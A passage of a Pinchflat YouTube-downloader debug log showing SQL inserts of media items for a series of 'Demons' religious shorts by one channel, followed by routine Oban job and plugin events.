FLESH. Ex-wife of Elohim. 😬", "e91897bc-f645-41ff-b9a1-f5f8b9e624d8", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", 2, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:59:08Z], ~U[2026-08-20 02:52:37Z], ~U[2026-08-20 02:52:37Z], "", "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", true, 1, ~U[2025-06-05 20:59:08Z]] 19:52:37.253 [debug] QUERY OK source="sources" db=0.2ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:37.254 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:28:17Z], 1] 19:52:37.254 [debug] QUERY OK source="media_items" db=0.5ms idle=2.2ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 8. Melchizedek pt.2", "c5d88f96-ef38-4697-a7a2-6fb6f26be004", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", 3, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:28:17Z], ~U[2026-08-20 02:52:37Z], ~U[2026-08-20 02:52:37Z], "", "Demons. Pt. 8. Melchizedek pt.2", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", true, 1, ~U[2025-06-05 20:28:17Z]] 19:52:37.255 [debug] QUERY OK source="sources" db=0.2ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:37.255 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:08:02Z], 1] 19:52:37.256 [debug] QUERY OK source="media_items" db=0.5ms idle=2.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.7 Melchizedek. Pt.1", "2d1d8fe0-76c5-456d-8b05-0bea663d8dc6", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", 4, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:08:02Z], ~U[2026-08-20 02:52:37Z], ~U[2026-08-20 02:52:37Z], "", "Demons. Pt.7 Melchizedek. Pt.1", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", true, 1, ~U[2025-06-05 20:08:02Z]] 19:52:37.256 [debug] QUERY OK source="sources" db=0.3ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:37.257 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:21:32Z], 1] 19:52:37.258 [debug] QUERY OK source="media_items" db=0.4ms idle=2.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.6 Deliverance from demons😋🫵🏿", "a8e27edd-5dff-4cea-bdb1-164a557c49e4", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", 5, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:21:32Z], ~U[2026-08-20 02:52:37Z], ~U[2026-08-20 02:52:37Z], "", "Demons. Pt.6 Deliverance from demons😋🫵🏿", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", true, 1, ~U[2025-06-05 19:21:32Z]] 19:52:37.258 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:37.258 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:08:53Z], 1] 19:52:37.259 [debug] QUERY OK source="media_items" db=0.5ms idle=1.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "65348203-704c-431e-9eba-14cef275b99e", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", 6, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:08:53Z], ~U[2026-08-20 02:52:37Z], ~U[2026-08-20 02:52:37Z], "", "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", true, 1, ~U[2025-06-05 19:08:53Z]] 19:52:37.259 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:37.260 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:53:10Z], 1] 19:52:37.260 [debug] QUERY OK source="media_items" db=0.5ms idle=1.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "58cfc4b0-56e2-4476-b1c4-835b9ceb5c6c", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", 7, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:53:10Z], ~U[2026-08-20 02:52:37Z], ~U[2026-08-20 02:52:37Z], "", "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", true, 1, ~U[2025-06-05 18:53:10Z]] 19:52:37.261 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:37.261 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:37:57Z], 1] 19:52:37.262 [debug] QUERY OK source="media_items" db=0.4ms idle=1.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.3", "68a4d146-6e54-4f0b-8c23-f475c534b017", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", 8, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:37:57Z], ~U[2026-08-20 02:52:37Z], ~U[2026-08-20 02:52:37Z], "", "Demons. Pt.3", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", true, 1, ~U[2025-06-05 18:37:57Z]] 19:52:37.262 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:37.263 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:26:06Z], 1] 19:52:37.264 [debug] QUERY OK source="media_items" db=0.7ms idle=1.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.2", "c1be44f2-877c-416c-99f0-79e5e8993e1b", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", 9, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:26:06Z], ~U[2026-08-20 02:52:37Z], ~U[2026-08-20 02:52:37Z], "", "Demons. Pt.2", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", true, 1, ~U[2025-06-05 18:26:06Z]] 19:52:37.264 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:37.264 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:17:34Z], 1] 19:52:37.265 [debug] QUERY OK source="media_items" db=0.4ms idle=2.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1", "44286f95-1fc1-4fc5-976a-617215698deb", "rv8UxAckc6M", 180, false, "https://www.youtube.com/shorts/rv8UxAckc6M", 10, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:17:34Z], ~U[2026-08-20 02:52:37Z], ~U[2026-08-20 02:52:37Z], "", "Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1", "rv8UxAckc6M", 180, false, "https://www.youtube.com/shorts/rv8UxAckc6M", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1.mp4", true, 1, ~U[2025-06-05 18:17:34Z]] 19:52:37.265 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 02:52:37Z], ~U[2026-08-20 02:52:37Z], 1] 19:52:37.266 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:52:37.266 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:52:37.267 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 19:52:37.268 [debug] QUERY OK source="tasks" db=0.1ms idle=1.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17085, 1, ~U[2026-08-20 02:52:37Z], ~U[2026-08-20 02:52:37Z]] 19:52:37.268 [info] {"args":{"id":1},"id":17082,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":26529118,"event":"job:stop","queue_time":554395,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:52:47.905 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.210 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:53:17.907 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:47.909 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.211 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:54:17.911 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:47.913 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.212 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:55:17.915 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:47.917 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.213 [info] {"source":"oban","duration":299,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:56:17.919 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:47.921 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.214 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:57:17.923 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:47.925 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.215 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:58:17.927 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:47.929 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.216 [info] {"source":"oban","duration":338,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:59:17.931 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:47.933 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.217 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:00:17.935 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:28.415 [info] {"args":{"id":3},"id":17083,"meta":{},"system_time":1787194828414953660,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 20:00:28.415 [debug] QUERY OK source="sources" db=0.1ms idle=632.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:28.415 [debug] QUERY OK source="settings" db=0.1ms idle=633.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:00:28.416 [debug] QUERY OK source="media_items" db=0.3ms idle=633.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND 